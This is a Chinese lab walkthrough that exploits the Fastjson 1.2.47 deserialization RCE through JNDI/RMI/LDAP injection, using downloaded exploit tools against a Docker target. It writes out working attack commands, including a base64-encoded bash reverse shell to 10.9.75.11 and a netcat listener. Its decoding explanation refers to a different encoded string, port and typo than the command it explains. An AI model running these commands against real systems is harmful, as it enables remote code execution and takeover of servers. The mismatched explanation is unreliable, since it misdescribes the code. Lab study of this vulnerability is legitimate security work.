通俗理解就是:漏洞利用fastjson autotype在处理json对象的时候,未对@type字段进行完全的安全性验证,攻击者可以传入危险类,并调用危险类连接远程rmi主机,通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞的利用,获取服务器的敏感信息泄露,甚至可以利用此漏洞进一步对服务器数据进行修改,增加,删除等操作,对服务器造成巨大影响。
原理解析:为了成功利用 Fastjson 1.2.47 RCE 反序列化漏洞,需要提前在 Kali 虚拟机中搭建 Web 服务器和 RMI 服务,随后当我们向 fastjson 服务器 POST 提交 POC 后,fastjson 服务器会访问远程 RMI 服务,RMI 再通过将请求重定向到 Web 服务器后下载存放在 Web服务器中的恶意 Java代码(已编译的反序列化类),从而成功实现远程命令执行
基础知识
反序列化常用的两种利用方式,一种是基于rmi,一种是基于ldap。
RMI是一种行为,指的是Java远程方法调用。
JNDI是一个接口,在这个接口下会有多种目录系统服务的实现,通过名称等去找到相关的对象,并把它下载到客户端中来。
ldap指轻量级目录访问协议。
存在java版本限制:
基于rmi的利用方式:适用jdk版本:JDK 6u132, JDK 7u131, JDK 8u121之前。
在jdk8u122的时候,加入了反序列化白名单的机制,关闭了rmi远程加载代码。
基于ldap的利用方式:适用jdk版本:JDK 11.0.1、8u191、7u201、6u211之前。
在Java 8u191更新中,Oracle对LDAP向量设置了相同的限制,并发布了CVE-2018-3149,关闭了JNDI远程类加载。
可以看到ldap的利用范围是比rmi要大的,实战情况下推荐使用ldap方法进行利用。
原文链接:https://blog.csdn.net/qq_45813980/article/details/123590225
搭建环境 然后输入ip地址加端口8090访问
一定要变更数据包为post,再添加变量,不然会出现语法错误。
点击提交,会出现一个500的报错
将文档类型改为json,数据又被显示,这中间就经历了一个序列化和反序列化的一个过程。
sudo proxychains git clone https://github.com/Maskhe/FastjsonScan/releases/download/1.0/FastjsonScan.jar
选择添加插件,选择添加
并选择添加本地文件,语言为java.
RMI的定义
RMI(Remote Method Invocation,远程方法调用)是用Java在JDK1.2中实现的,它大大增强了Java开发分布式应用的能力。Java作为一种风靡一时的网络开发语言,其巨大的威力就体现在它强大的开发分布式网络应用的能力上,而RMI就是开发百分之百纯Java的网络分布式应用系统的核心解决方案之一。其实它可以被看作是RPC的Java版本。但是传统RPC并不能很好地应用于分布式对象系统。而Java RMI 则支持存储于不同地址空间的程序级对象之间彼此进行通信,实现远程对象之间的无缝远程调用。
然后就更改一下解析方式,将rmi更改成为ldap.
工具下载
sudo proxychains git clone https://github.com/welk1n/JNDI-Injection-Exploit.git
git config -l 命令可以列出当前Git仓库的所有配置信息
sudo proxychains4 wget https://github.com/welk1n/JNDI-Injection-Exploit/releases/download/v1.0/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
sudo java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/xbd"-A 10.9.75.11
//:使用Java执行一个JNDI注入攻击的工具,针对IP地址为10.9.75.11的主机。具体而言,它似乎是在该主机上执行了一个名为"touch /tmp/xbd"的命令,希望在/tmp目录下创建了一个名为xbd的文件
sudo docker ps -a 查看容器id
sudo docker exec -it 70b /bin/bash
sudo java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjkuNzUuMTEvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}" -A "10.9.75.11"
解析:这个命令串实际上包含了两个部分,通过管道(|)连接起来:
第一个部分是 {echp,c2ggLWkgPiYgL2Rldi90Y3AvMTAuOS43NS4xMS81Njc4IDA+JjE=}{base64,-d},看起来像一串被编码过的文本。但是,有一个拼写错误,应该是 echo 而不是 echp。
如果我们修正一下:{echo,c2ggLWkgPiYgL2Rldi90Y3AvMTAuOS43NS4xMS81Njc4IDA+JjE=}{base64,-d}。
这里使用了两个命令:echo 和 base64 -d。echo 命令会输出后面的参数,而 base64 -d 则会对输入的 Base64 编码进行解码。
解码这段文本 c2ggLWkgPiYgL2Rldi90Y3AvMTAuOS43NS4xMS81Njc4IDA+JjE= 时,我们得到了以下结果:sh -i >& /dev/tcp/10.9.75.11/5678 0>&1。
第二个部分是 {bash,-i},这个部分是一个单独的命令,即 bash -i,其中 -i 表示交互式运行 Bash shell。
将两个部分组合起来,我们得到以下命令:
bash -c 这个命令是将要执行的脚本和语句,通过字符的方式传递给bash解释器执行。
nc -lnvp 1234